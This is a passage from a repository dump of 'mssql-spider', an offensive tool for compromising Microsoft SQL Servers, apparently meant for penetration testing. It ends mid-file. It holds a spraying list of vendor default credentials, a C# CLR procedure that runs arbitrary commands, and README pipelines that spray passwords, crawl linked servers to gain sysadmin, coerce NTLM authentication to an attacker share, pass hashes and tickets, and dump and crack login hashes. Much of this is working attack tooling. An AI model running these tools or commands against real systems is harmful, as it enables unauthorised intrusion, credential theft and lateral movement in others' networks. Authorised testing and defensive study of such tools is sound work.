├── .gitattributes ├── .github └── dependabot.yml ├── .gitignore ├── LICENSE ├── README.md ├── assets ├── default-credentials.txt └── demo.png ├── extras └── SharpProcedure.cs ├── mssqlmap ├── client.py ├── connection.py ├── default.py ├── discover │ ├── bloodhound.py │ └── main.py ├── model.py ├── modules │ ├── clrexec.py │ ├── coerce.py │ ├── dump.py │ ├── enum.py │ ├── exec.py │ ├── fs.py │ ├── impersonated_user.py │ ├── linked_instance.py │ ├── query.py │ ├── reg.py │ └── sysinfo.py ├── ping.py ├── spider.py ├── spray.py └── util.py ├── poetry.lock └── pyproject.toml /.gitattributes: -------------------------------------------------------------------------------- 1 | *.png filter=lfs diff=lfs merge=lfs -text 2 | -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | updates: 3 | - package-ecosystem: pip 4 | directory: / 5 | schedule: 6 | interval: daily 7 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Daniel 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # mssql-spider 2 | 3 | ![Screenshot](./assets/demo.png) 4 | 5 | An improved [impacket-mssqclient](https://github.com/fortra/impacket/blob/master/examples/mssqlclient.py) that discovers and exploits as many Microsoft SQL Servers as it can reach by crawling linked instances and abusing user impersonation. 6 | For example, it can solve the [OSEP](https://www.offensive-security.com/pen300-osep/) Lab Challenge 2 automatically. 7 | 8 | Big thanks to the developers of fortra/impacket#1397, [SQLRecon](https://github.com/xforcered/SQLRecon) and [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) on which this project is based. 9 | 10 | # Setup 11 | 12 | a) With [pipx](https://github.com/pypa/pipx). 13 | 14 | ~~~ bash 15 | pipx install git+https://github.com/dadevel/mssql-spider.git@main 16 | ~~~ 17 | 18 | b) With [pip](https://github.com/pypa/pip). 19 | 20 | ~~~ bash 21 | pip install --user git+https://github.com/dadevel/mssql-spider.git@main 22 | ~~~ 23 | 24 | If you want the latest features replace `@main` with `@dev`. 25 | 26 | # Usage 27 | 28 | Starting from just network access without credentials (classic network pentest), spray known default passwords, abuse user impersonation or linked instances to reach additional servers and execute `whoami` on all servers where you gained *sysadmin* access: 29 | 30 | ~~~ bash 31 | mapcidr -cidr 192.168.178.0/24 | mssql-ping | tee ./instances.json | mssql-spray passwords -c ./assets/default-credentials.txt | tee ./logins.json | mssql-spider -x 'whoami /all' 32 | ~~~ 33 | 34 | Starting with domain credentials, fetch SPNs of MSSQL servers from BloodHounds database and coerce NTLM authentication from all reachable servers with `xp_dirtree`. 35 | This does not require privileged access. 36 | 37 | ~~~ bash 38 | mssql-discover bloodhound | mssql-ping | tee ./instances.json | mssql-spider -d corp.local -u jdoe -p 'passw0rd' --sysinfo -c '\\192.168.178.128\harvest' 39 | ~~~ 40 | 41 | All commands switch to JSON input or output if they are used as part of a pipeline. 42 | You can override this behavior with `--no-json-input` / `--no-json-output`. 43 | 44 | ## Advanced Features 45 | 46 | Load and execute a .NET assembly as *sysadmin*. 47 | The first argument is the path to the DLL. 48 | The second argument is the name of the function to call. 49 | All following arguments are passed to the function as `SqlString`. 50 | The C# code for an exemplary DLL can be found at [SharpProcedure.cs](./extras/SharpProcedure.cs). 51 | 52 | ~~~ bash 53 | mssql-spider -u sa -p 'passw0rd' -t db01.corp.local --exec-clr ./SharpProcedure.dll Run cmd.exe '/c echo %USERNAME%' 54 | ~~~ 55 | 56 | Dump secrets and crack password hashes of database logins with [hashcat](https://github.com/hashcat/hashcat). 57 | 58 | ~~~ bash 59 | mssql-spider -u sa -p 'passw0rd' -t db01.corp.local --dump-hashes ./hashes.txt --dump-jobs --dump-autologon 60 | hashcat -O -w 3 -a 0 -m 1731 --username ./hashes.txt ./rockyou.txt 61 | ~~~ 62 | 63 | Post-process the JSON output with `jq`. 64 | 65 | ~~~ bash 66 | mssql-spider -u sa -p 'passw0rd' -t db01.corp.local -x 'whoami /priv' | jq -r 'select(.pwned==true and .result!=null)' 67 | ~~~ 68 | 69 | ## Authentication 70 | 71 | As local database user. 72 | 73 | ~~~ bash 74 | mssql-spider -u sa -p 'passw0rd' -t db01.corp.local 75 | ~~~ 76 | 77 | As local windows user. 78 | 79 | ~~~ bash 80 | mssql-spider -w -u administrator -p 'passw0rd' -t db01.corp.local 81 | ~~~ 82 | 83 | As domain user via NTLM and a password. 84 | 85 | ~~~ bash 86 | mssql-spider -d corp.local -u jdoe -p 'passw0rd' -t db01.corp.local 87 | ~~~ 88 | 89 | As domain user via NTLM *Pass the Hash*. 90 | 91 | ~~~ bash 92 | mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local 93 | ~~~ 94 | 95 | As domain user via Kerberos *Overpass the Key*. 96 | 97 | ~~~ bash 98 | mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local 99 | ~~~ 100 | 101 | As domain user via Kerberos *Pass the Key*. 102 | 103 | ~~~ bash 104 | mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local 105 | ~~~ 106 | 107 | As domain user via Kerberos *Pass the Ticket*. 108 | 109 | ~~~ bash 110 | export KRB5CCNAME=./jdoe.ccache 111 | mssql-spider -k -t db01.corp.local 112 | ~~~ 113 | 114 | # Library Usage 115 | 116 | ~~~ python 117 | from mssqlmap.client import Client 118 | from mssqlmap.connection import Connection 119 | from mssqlmap.modules.dump import HashDumper 120 | from mssqlmap.modules.exec import CmdShellExecutor 121 | from mssqlmap.modules.impersonated_user import ImpersonationSpider 122 | from mssqlmap.modules.linked_instance import LinkSpider 123 | 124 | with Client(Connection(host='db01.corp.local', username='sa', password='passw0rd')) as client: 125 | for child, module, status in client.spider([ImpersonationSpider(), LinkSpider()]): 126 | print(child, module, status) 127 | if status in ('failed', 'denied', 'repeated'): 128 | continue 129 | for module, result in child.invoke([CmdShellExecutor('whoami /all'), HashDumper('./hashes.txt')]): 130 | print(child, module, result) 131 | ~~~ 132 | 133 | # Prevention and Detection 134 | 135 | See [github.com/skahwah/sqlrecon/wiki](https://github.com/xforcered/SQLRecon/wiki/8.-Prevention,-Detection-and-Mitigation-Guidance). 136 | -------------------------------------------------------------------------------- /assets/default-credentials.txt: -------------------------------------------------------------------------------- 1 | ADMIN:AIMS 2 | ADONI:BPMS 3 | ARIS9:N'*ARIS!1dm9n#' 4 | Admin:Admin 5 | CADSQLAdminUser:Cr41g1sth3M4n! 6 | ELNAdmin:ELNAdmin 7 | FB:AIMS 8 | I2b2demodata2:i2b2demodata2 9 | I2b2demodata:i2b2demodata 10 | I2b2hive:i2b2hive 11 | I2b2metadata2:i2b2metadata2 12 | I2b2metadata:i2b2metadata 13 | I2b2workdata2:i2b2workdata2 14 | I2b2workdata:i2b2workdata 15 | LENEL:MULTIMEDIA 16 | NBNUser:NBNPassword 17 | RIS9:*ARIS!1dm9n# 18 | SMTKINGDOM:$ei$micMicro 19 | Supervisor:Supervisor 20 | Super:Orange 21 | Velocity:i5X9FG42 22 | aaAdmin:pwAdmin 23 | aaPower:pwPower 24 | aaUser:pwUser 25 | aadbo:pwddbo 26 | admin:admin 27 | admin:ca_admin 28 | admin:gnos 29 | admin:netxms 30 | admin:trinity 31 | arcserve_udp:@rcserveP@ssw0rd 32 | bcmdbuser:Bcmuser@06 33 | bcmdbuser:Numara@06 34 | cic:cic 35 | cic:cic!23456789 36 | dexis:dexis 37 | ej:ej 38 | elster:elster 39 | gcs_client:SysGal.5560 40 | gcs_web_client:SysGal.5560 41 | gts:opengts 42 | lansweeperuser:mysecretpassword0* 43 | maxadmin:maxadmin 44 | maxreg:maxreg 45 | mcUser:medocheck123 46 | msi:keyboa5 47 | mxintadm:mxintadm 48 | ovsd:ovsd 49 | sa: 50 | sa:2BeChanged 51 | sa:3dxadmin 52 | sa:34TJ4@#$ 53 | sa:42Emerson42Eme 54 | sa:111 55 | sa:Administrator1 56 | sa:AutoMateBPA9 57 | sa:AutodeskVault@26200 58 | sa:CDRDicom50! 59 | sa:CambridgeSoft_SA 60 | sa:Cardio.Perfect 61 | sa:Cod3p@l 62 | sa:CounterPoint8 63 | sa:DBA!sa@EMSDB123 64 | sa:DHLadmin@1 65 | sa:Dr8gedog 66 | sa:GCSsa5560 67 | sa:GCSsa5560 68 | sa:Hpdsdb000001 69 | sa:M3d!aP0rtal 70 | sa:Matrix42 71 | sa:Matrix42.Empirum 72 | sa:PCAmerica 73 | sa:Password123 74 | sa:Pass@123 75 | sa:PracticeUser1 76 | sa:RPSsql12345 77 | sa:SECAdmin1 78 | sa:SLXMaster 79 | sa:SecurityMaster08 80 | sa:SilkCentral12!34 81 | sa:V4in$ight 82 | sa:Webgility2011 83 | sa:Webster#1 84 | sa:admin 85 | sa:capassword 86 | sa:cic 87 | sa:cic!23456789 88 | sa:default 89 | sa:dexis 90 | sa:dr8gedog 91 | sa:ecopy 92 | sa:e+C0py2007_@x 93 | sa:hpdss 94 | sa:i5X9FG42 95 | sa:lminstall 96 | sa:mypassword 97 | sa:ohdusa@123 98 | sa:password 99 | sa:pcAmer1ca 100 | sa:sa 101 | sa:sage 102 | sa:skf_admin1 103 | sa:splendidcrm2005 104 | sa:sqlserver 105 | sa:superadmin 106 | sa:t9AranuHA7 107 | sa:vantage12! 108 | sa:#SAPassword! 109 | sa:$easyWinArt4 110 | sa:$ei$micMicro 111 | secure:SecurityMaster08 112 | serviceadmin:Password.0 113 | stream:stream-1 114 | test:test 115 | tew:tew 116 | vocollect:vocollect 117 | wasadmin:wasadmin 118 | wwAdmin:wwAdmin 119 | wwPower:wwPower 120 | wwUser:wwUser 121 | wwdbo:pwddbo 122 | -------------------------------------------------------------------------------- /assets/demo.png: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:bd3eb68924da3132298edc6b4ec5484e5a74f2fe6d9af11968f366beaae4005b 3 | size 423871 4 | -------------------------------------------------------------------------------- /extras/SharpProcedure.cs: -------------------------------------------------------------------------------- 1 | using System.Data; 2 | using System.Data.SqlTypes; 3 | using System.Diagnostics; 4 | using Microsoft.SqlServer.Server; 5 | 6 | // compilation: C:\Windows\Microsoft.NET\Framework64\v4*\csc.exe /target:library .\SharpProcedure.cs 7 | 8 | public class StoredProcedures { 9 | [SqlProcedure] 10 | public static SqlInt32 Run(SqlString file, SqlString args) { 11 | Process p = new Process(); 12 | p.StartInfo.FileName = file.ToString(); 13 | p.StartInfo.Arguments = args.ToString(); 14 | p.StartInfo.UseShellExecute = false; 15 | p.StartInfo.RedirectStandardOutput = true; 16 | p.StartInfo.RedirectStandardError = true; 17 | p.StartInfo.CreateNoWindow = true; 18 | p.Start(); 19 | SqlDataRecord r = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, -1)); 20 | SqlContext.Pipe.SendResultsStart(r); 21 | string o = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); 22 | r.SetString(0, o); 23 | SqlContext.Pipe.SendResultsRow(r); 24 | SqlContext.Pipe.SendResultsEnd(); 25 | p.WaitForExit(); 26 | return new SqlInt32(p.ExitCode); 27 | } 28 | }; 29 | -------------------------------------------------------------------------------- /mssqlmap/client.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | from typing import Any, Generator, TypedDict 3 | import copy 4 | 5 | import logging 6 | 7 | from mssqlmap.connection import Connection, SQLErrorException 8 | 9 | 10 | class BaseModule: 11 | def __repr__(self) -> str: 12 | attrs = ', '.join(f'{k}={v!r}' for k, v in self.__dict__.items()) 13 | return f'{self.__class__.__name__}({attrs})' 14 | 15 | 16 | class SpiderModule(BaseModule): 17 | def spider(self, client: Client) -> Generator[Client, None, None]: 18 | raise NotImplementedError() 19 | 20 | 21 | class VisitorModule(BaseModule): 22 | def invoke(self, client: Client) -> dict[str, Any]|None: 23 | raise NotImplementedError() 24 | 25 | 26 | class UserInfo(TypedDict): 27 | computer: str 28 | instance: str 29 | login: str 30 | user: str 31 | roles: list[str] 32 | pwned: bool 33 | 34 | 35 | class DatabaseInfo(TypedDict): 36 | name: str 37 | owner: str 38 | trusted: bool 39 | encrypted: bool 40 | accessible: bool 41 | 42 | 43 | class UnexpectedResult(SQLErrorException): 44 | pass 45 | 46 | 47 | class Client: 48 | def __init__(self, connection: Connection, parent: Client|None = None, children: list[Client]|None = None, seen: set[str]|None = None) -> None: 49 | self.connection = connection 50 | self.parent = parent 51 | self.seen = seen or set() 52 | self.children = children or [] 53 | 54 | def __enter__(self) -> Client: 55 | self.connect() 56 | return self 57 | 58 | def __exit__(self, type, value, traceback) -> None: 59 | self.disconnect() 60 | 61 | def connect(self) -> Client: 62 | self.connection.connect() 63 | self.connection.login() 64 | return self 65 | 66 | def disconnect(self) -> None: 67 | for child in self.children: 68 | child.disconnect() 69 | self.connection.disconnect() 70 | 71 | def reconnect(self) -> Client: 72 | self.disconnect() 73 | self.connection = self.connection.duplicate() 74 | self.connect() 75 | return self 76 | 77 | def __repr__(self) -> str: 78 | return f'{self.__class__.__name__}({self.path})' 79 | 80 | @property 81 | def id(self) -> str: 82 | # multiple logins that map to the same user are not always equal, for example the login matters for the login mapping of linked instances 83 | return f'{self.login}:{self.username}@{self.hostname}:{self.instance}' 84 | 85 | @property 86 | def path(self) -> str: 87 | return self.id 88 | 89 | @property 90 | def login(self) -> str: 91 | return self.whoami()['login'] 92 | 93 | @property 94 | def username(self) -> str: 95 | return self.whoami()['user'] 96 | 97 | @property 98 | def hostname(self) -> str: 99 | return self.whoami()['computer'] 100 | 101 | @property 102 | def instance(self) -> str: 103 | return self.whoami()['instance'] 104 | 105 | @property 106 | def pwned(self) -> bool: 107 | return self.whoami()['pwned'] 108 | 109 | def whoami(self) -> UserInfo: 110 | try: 111 | return self._userinfo 112 | except Exception: 113 | pass 114 | row = self.query_single("SELECT system_user AS [login], user_name() AS [user], convert(varchar(max), serverproperty('ComputerNamePhysicalNetBIOS')) AS [computer], convert(varchar(max), serverproperty('InstanceName')) AS [instance]") 115 | assert len(row) == 4 116 | roles = self.roles() 117 | self._userinfo: UserInfo = { 118 | 'computer': row['computer'].lower(), 119 | 'instance': row['instance'].lower(), 120 | 'login': row['login'].lower(), 121 | 'user': row['user'].lower(), 122 | 'roles': list(roles), 123 | 'pwned': 'sysadmin' in roles, 124 | } 125 | return self._userinfo 126 | 127 | def roles(self) -> set[str]: 128 | #roles = {row['name'] for row in self.query("SELECT name FROM sys.database_principals WHERE type IN ('R','G') AND type_desc='DATABASE_ROLE' AND is_member(name)=1")} 129 | builtin_roles = 'sysadmin setupadmin serveradmin securityadmin processadmin diskadmin dbcreator bulkadmin'.split(' ') 130 | custom_roles = [row['name'] for row in self.query("SELECT name FROM sysusers WHERE issqlrole=1")] 131 | statement = ','.join(f"is_srvrolemember({self.escape_string(role)}) AS {self.escape_identifier(role)}" for role in builtin_roles + custom_roles) 132 | row = self.query_single(f'SELECT {statement}') 133 | assert len(row) == len(builtin_roles) + len(custom_roles) 134 | return {key.lower() for key, value in row.items() if value} 135 | 136 | def query(self, statement: str, decode: bool = True, ignore_errors: bool = False) -> list[dict[str, Any]]: 137 | statement = statement.strip(' ;') 138 | logging.debug(f'{self.connection.host}:{self.connection.port}:sql:query:{statement}') 139 | rows = self.connection.wrapped.sql_query(statement, wait=True) # sets wrapped._connection.replies and returns results 140 | assert isinstance(rows, list) 141 | rows = copy.deepcopy(rows) 142 | if decode: 143 | rows = [ 144 | { 145 | key: value.decode(errors='surrogate-escape') if isinstance(value, bytes) else value 146 | for key, value in row.items() 147 | } 148 | for row in rows 149 | ] 150 | self.connection.wrapped.printReplies() # gets wrapped._connection.replies and sets wrapped._connection.lastError 151 | error = self.connection.last_error() 152 | if error: 153 | logging.debug(f'{self.connection.host}:{self.connection.port}:sql:error:{error}') 154 | if not ignore_errors: 155 | raise error 156 | logging.debug(f'{self.connection.host}:{self.connection.port}:sql:result:{rows}') 157 | return rows 158 | 159 | def query_single(self, statement: str, decode: bool = True, ignore_errors: bool = False) -> dict[str, Any]: 160 | rows = self.query(statement, decode=decode, ignore_errors=ignore_errors) 161 | if len(rows) != 1: 162 | raise UnexpectedResult(f'expected single row, but got {len(rows)} instead') 163 | return rows[0] 164 | 165 | def query_database(self, database: str, statement: str, decode: bool = True, ignore_errors: bool = False) -> list[dict[str, Any]]: 166 | row = self.query_single('SELECT db_name() AS [db]') 167 | assert len(row) == 1 168 | prev = row['db'] 169 | rows = self.query(f'USE {self.escape_identifier(database)};{statement};USE {self.escape_identifier(prev)}', decode=decode, ignore_errors=ignore_errors) 170 | return rows 171 | 172 | def invoke(self, modules: list[VisitorModule]) -> Generator[tuple[VisitorModule, dict[str, Any]], None, None]: 173 | for module in modules: 174 | try: 175 | result = module.invoke(self) 176 | if result is not None: 177 | yield module, result 178 | except Exception as e: 179 | yield module, dict(error=str(e), type=e.__class__.__name__) 180 | 181 | def spider(self, modules: list[SpiderModule], max_depth: int = 10, depth: int = 0) -> Generator[tuple[Client, SpiderModule|None, str], None, None]: 182 | if depth == 0: 183 | self.seen.clear() 184 | self.seen.add(self.id) 185 | yield self, None, 'pwned' if self.pwned else 'accepted' 186 | 187 | for module in modules: 188 | for client in module.spider(self): 189 | if isinstance(client, BrokenClient): 190 | yield client, module, 'denied' 191 | elif client.id in self.seen: 192 | yield client, module, 'repeated' 193 | else: 194 | self.seen.add(client.id) 195 | self.children.append(client) 196 | yield client, module, 'pwned' if self.pwned else 'accepted' 197 | if depth >= max_depth: 198 | raise RecursionError('maximum recursion depth exceeded') 199 | yield from client.spider(modules, max_depth, depth + 1) 200 | 201 | def test(self) -> None: 202 | self.query_single('SELECT 1') 203 | 204 | def configure(self, option: str, enabled: bool) -> None: 205 | value = 1 if enabled else 0 206 | self.query(f"EXEC master.dbo.sp_configure {self.escape_string(option)},{value};RECONFIGURE;") 207 | 208 | def enum_databases(self) -> dict[str, DatabaseInfo]: 209 | rows = self.query('SELECT name, suser_sname(owner_sid) AS [owner], is_trustworthy_on AS [trusted], is_encrypted AS [encrypted], has_dbaccess(name) AS [accessible] FROM sys.databases') 210 | databases = {row['name']: row for row in rows} 211 | return databases # type: ignore 212 | 213 | def enum_columns(self, pattern: str = '%') -> list[dict[str, Any]]: 214 | results = [] 215 | for database in self.enum_databases(): 216 | rows = self.query_database(database, f"SELECT {self.escape_string(database)} AS [database], table_name AS [table], column_name AS [column], data_type AS [type] FROM information_schema.columns WHERE column_name LIKE {self.escape_string(pattern)}") 217 | results.extend(rows) 218 | return results 219 | 220 | @staticmethod 221 | def escape_identifier(value: str) -> str: 222 | """ 223 | Escapes a string for use as database identifier. 224 | """ 225 | value = value.replace('"', '""') 226 | return f'"{value}"' 227 | 228 | @staticmethod 229 | def escape_string(value: str) -> str: 230 | """ 231 | Escapes a string for use as string literal. 232 | """ 233 | value = value.replace("'", "''") 234 | return f"'{value}'" 235 | 236 | 237 | class BrokenClient(Client): 238 | def __init__(self, parent: Client, error: Exception, login: str|None = None, user: str|None = None, hostname: str|None = None, instance: str|None = None) -> None: 239 | super().__init__(parent.connection, parent) 240 | self.error = error 241 | self._login = login or parent.login 242 | self._username = user or parent.username 243 | self._hostname = hostname or parent.hostname 244 | self._instance = instance or parent.instance 245 | 246 | def __repr__(self) -> str: 247 | return f'{self.__class__.__name__}({self.path}, error={self.error})' 248 | 249 | @property 250 | def login(self) -> str: 251 | return self._login 252 | 253 | @property 254 | def username(self) -> str: 255 | return self._username 256 | 257 | @property 258 | def hostname(self) -> str: 259 | return self._hostname 260 | 261 | @property 262 | def instance(self) -> str: 263 | return self._instance 264 | 265 | @property 266 | def pwned(self) -> bool: 267 | return False 268 | 269 | def roles(self) -> set[str]: 270 | return set() 271 | 272 | def whoami(self) -> UserInfo: 273 | return { 274 | 'computer': self.hostname, 275 | 'instance': self.instance, 276 | 'login': self.login, 277 | 'user': self.username, 278 | 'roles': [], 279 | 'pwned': self.pwned, 280 | } 281 | 282 | def query(self, *args, **kwargs) -> Any: 283 | raise RuntimeError('can not query broken client') 284 | -------------------------------------------------------------------------------- /mssqlmap/connection.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | from typing import Any 3 | import os 4 | import socket 5 | import unittest.mock 6 | 7 | from impacket.krb5.ccache import CCache 8 | from impacket.tds import MSSQL, SQLErrorException 9 | import pydantic 10 | 11 | from mssqlmap.model import BaseModel 12 | 13 | # source: https://sqlserverbuilds.blogspot.com/ 14 | # TODO: improve granularity to SP/CU level plus unsupported/outdated/patched status 15 | VERSION_TABLE = { 16 | '16.': '2022', 17 | '15.': '2019', 18 | '14.': '2017', 19 | '13.': '2016', 20 | '12.': '2014', 21 | '11.': '2012', 22 | '10.50.': '2008 R2', 23 | '10.0.': '2008', 24 | '9.': '2005', 25 | '8.': '2000', 26 | } 27 | 28 | 29 | def lookup_buildnumber(build: str) -> str: 30 | for key in VERSION_TABLE: 31 | if build.startswith(key): 32 | return f'SQL Server {VERSION_TABLE[key]}' 33 | return f'Unknown {build}' 34 | 35 | 36 | class Connection(BaseModel): 37 | host: str 38 | port: int = 1433 39 | instance: str|None = None 40 | domain: str|None = None 41 | username: str|None = None 42 | password: str|None = None 43 | hashes: str|None = None 44 | aes_key: str|None = None 45 | ticket: str|None = None 46 | windows_auth: bool = False 47 | kerberos: bool = False 48 | kdc_host: str|None = None 49 | database: str|None = None 50 | timeout: int = 10 51 | loginname: str|None = None 52 | pwned: bool = False 53 | computername: str|None = None 54 | build: str = '' 55 | version: str = '' 56 | clustered: bool = False 57 | wrapped: MSSQL = pydantic.Field(default_factory=lambda: MSSQL(None), exclude=True) 58 | 59 | class Config: 60 | arbitrary_types_allowed = True 61 | 62 | @classmethod 63 | def from_ping(cls, host: str, servername: str, instancename: str, isclustered: str, version: str, tcp: str = '', np: str = '') -> Connection: 64 | return cls( 65 | host=host, 66 | port=int(tcp) if tcp else 1433, 67 | instance=instancename.upper(), 68 | computername=servername.upper(), 69 | build=version, 70 | version=lookup_buildnumber(version), 71 | clustered=isclustered.lower() == 'yes', 72 | ) 73 | 74 | def __enter__(self) -> Connection: 75 | self.connect() 76 | self.login() 77 | return self 78 | 79 | def __exit__(self, type, value, traceback) -> None: 80 | self.disconnect() 81 | 82 | def connect(self) -> Connection: 83 | family, socktype, proto, _, sockaddr = socket.getaddrinfo(self.host, self.port, family=0, type=socket.SOCK_STREAM)[0] 84 | sock = socket.socket(family, socktype, proto) 85 | sock.settimeout(self.timeout) 86 | sock.connect(sockaddr) 87 | self.wrapped.server = self.host 88 | self.wrapped.port = self.port 89 | self.wrapped.socket = sock 90 | return self 91 | 92 | def login(self) -> Connection: 93 | domain, username = self.domain or '', self.username or '' 94 | tgt, st = None, None 95 | if self.ticket: 96 | # this is ugly, but impacket doesn't provide a proper API 97 | with unittest.mock.patch('os.getenv', side_effect=self._inject_ccache): 98 | domain, username, tgt, st = CCache.parseFile(domain, username, f'MSSQLSvc/{self.host}') 99 | if not st: 100 | domain, username, tgt, st = CCache.parseFile(domain, username, f'MSSQLSvc/{self.host}:{self.port}') 101 | if not st and self.instance: 102 | domain, username, tgt, st = CCache.parseFile(domain, username, f'MSSQLSvc/{self.host}:{self.instance}') 103 | assert tgt or st, f'no ticket could be loaded from ccache {self.ticket}' 104 | 105 | # ensure impacket hash format 106 | if self.hashes and ':' not in self.hashes: 107 | hashes = f':{self.hashes}' 108 | else: 109 | hashes = self.hashes 110 | 111 | if self.kerberos: 112 | ok = self.wrapped.kerberosLogin(self.database, self.username, self.password or '', self.domain or '', hashes, self.aes_key or '', self.kdc_host, tgt, st, useCache=False if self.ticket else True) 113 | else: 114 | ok = self.wrapped.login(self.database, self.username, self.password or '', self.domain or '', hashes, self.windows_auth) 115 | self.wrapped.printReplies() # gets wrapped._connection.replies and sets wrapped._connection.lastError 116 | error = self.last_error() 117 | assert (ok and not error) or (not ok and error), f'contradicting state, ok={ok!r} error={error!r}' 118 | if not ok and error: 119 | raise error 120 | return self 121 | 122 | def disconnect(self) -> None: 123 | # closes wrapped.socket 124 | self.wrapped.disconnect() 125 | 126 | def duplicate(self) -> Connection: 127 | return Connection(**self.to_dict()) 128 | 129 | def to_dict(self) -> dict[str, Any]: 130 | return {k: v for k, v in self.__dict__.items() if k != 'wrapped'} 131 | 132 | def last_error(self) -> SQLErrorException|None: 133 | if not self.wrapped.lastError: 134 | return None 135 | elif isinstance(self.wrapped.lastError, SQLErrorException): 136 | return SQLErrorException(self.wrapped.lastError.args[0].removeprefix('ERROR: Line 1: ')) 137 | elif isinstance(self.wrapped.lastError, Exception): 138 | return SQLErrorException(self.wrapped.lastError) 139 | elif isinstance(self.wrapped.lastError, str): 140 | return SQLErrorException(self.wrapped.lastError.removeprefix('ERROR: Line 1: ')) 141 | else: 142 | return SQLErrorException(f'unknown failure: {self.wrapped.lastError!r}') 143 | 144 | def _inject_ccache(self, name: str) -> str|None: 145 | return self.ticket if name == 'KRB5CCNAME' else os.getenv(name) 146 | -------------------------------------------------------------------------------- /mssqlmap/default.py: -------------------------------------------------------------------------------- 1 | from argparse import RawTextHelpFormatter 2 | import os 3 | import shutil 4 | 5 | # in seconds 6 | TIMEOUT = 10 7 | 8 | # scale threads with cpu cores 9 | THREAD_COUNT = max((os.cpu_count() or 1) * 4, 32) 10 | 11 | # scale width of help text with terminal width 12 | HELP_FORMATTER = lambda prog: RawTextHelpFormatter(prog, max_help_position=round(shutil.get_terminal_size().columns / 2)) 13 | -------------------------------------------------------------------------------- /mssqlmap/discover/bloodhound.py: -------------------------------------------------------------------------------- 1 | from typing import Any 2 | 3 | from requests.auth import HTTPBasicAuth 4 | import requests 5 | 6 | from mssqlmap.connection import Connection 7 | 8 | DEFAULT_SPNS = 'MSSQLSVC MSSERVERCLUSTER MSCLUSTERVIRTUALSERVER MSSERVERCLUSTERMGMTAPI'.split(' ') 9 | 10 | 11 | def get_spns(url: str, username: str, password: str, prefixes: list[str]|None = None) -> set[Connection]: 12 | prefixes = prefixes or DEFAULT_SPNS 13 | filter = ' OR '.join(f'toUpper(s) STARTS WITH "{p}/"' for p in prefixes) 14 | objects = query(url, username, password, f'MATCH (o) WHERE o.enabled AND ANY (s IN o.serviceprincipalnames WHERE {filter}) RETURN o') 15 | result = set() 16 | for obj in objects: 17 | for spn in obj['serviceprincipalnames']: 18 | # get prefix 19 | pos = spn.find('/') 20 | assert pos != -1, f'invalid spn: {spn}' 21 | prefix = spn[:pos].upper() 22 | if prefix not in prefixes: 23 | continue 24 | # remove prefix 25 | spn = spn[pos + 1:] 26 | # remove optional port suffix 27 | pos = spn.rfind(':') 28 | if pos == -1: 29 | port = 1433 30 | else: 31 | try: 32 | port = int(spn[pos + 1:]) 33 | except Exception: 34 | # spn end with instance name instead of port 35 | continue 36 | spn = spn[:pos] 37 | # append domain if missing 38 | if '.' not in spn: 39 | spn = f'{spn}.{obj["domain"]}' 40 | result.add(Connection(host=spn.lower(), port=port)) 41 | return result 42 | 43 | 44 | def query(url: str, username: str, password: str, statement: str) -> list[Any]: 45 | response = requests.post( 46 | f'{url}/db/neo4j/tx', 47 | auth=HTTPBasicAuth(username, password), 48 | json=dict(statements=[dict(statement=statement)]), 49 | ) 50 | data = response.json() 51 | error = '\n'.join(e['message'] for e in data['errors']) 52 | if error: 53 | raise RuntimeError(error) 54 | return [row for result in data['results'] for rows in result['data'] for row in rows['row']] 55 | -------------------------------------------------------------------------------- /mssqlmap/discover/main.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | from argparse import ArgumentParser, BooleanOptionalAction 3 | from typing import Any 4 | import json 5 | import os 6 | import sys 7 | 8 | from mssqlmap import default 9 | from mssqlmap import util 10 | 11 | 12 | def main() -> None: 13 | entrypoint = ArgumentParser(formatter_class=default.HELP_FORMATTER) 14 | entrypoint.add_argument('--debug', action=BooleanOptionalAction, default=False) 15 | 16 | parsers = entrypoint.add_subparsers(dest='command', required=True) 17 | parser = parsers.add_parser( 18 | 'bloodhound', 19 | epilog=( 20 | 'env vars:\n' 21 | ' NEO4J_USERNAME\n' 22 | ' NEO4J_PASSWORD\n' 23 | ' NEO4J_URL\n' 24 | ), 25 | ) 26 | parser.add_argument('--json-output', action=BooleanOptionalAction, default=not os.isatty(sys.stdout.fileno()), help='produce JSONL output, default: if pipeline') 27 | 28 | parser = parsers.add_parser('ldap') 29 | auth = parser.add_argument_group('auth') 30 | auth.add_argument('-d', '--domain', default='', metavar='DOMAINNAME') 31 | auth.add_argument('-u', '--user', default='', 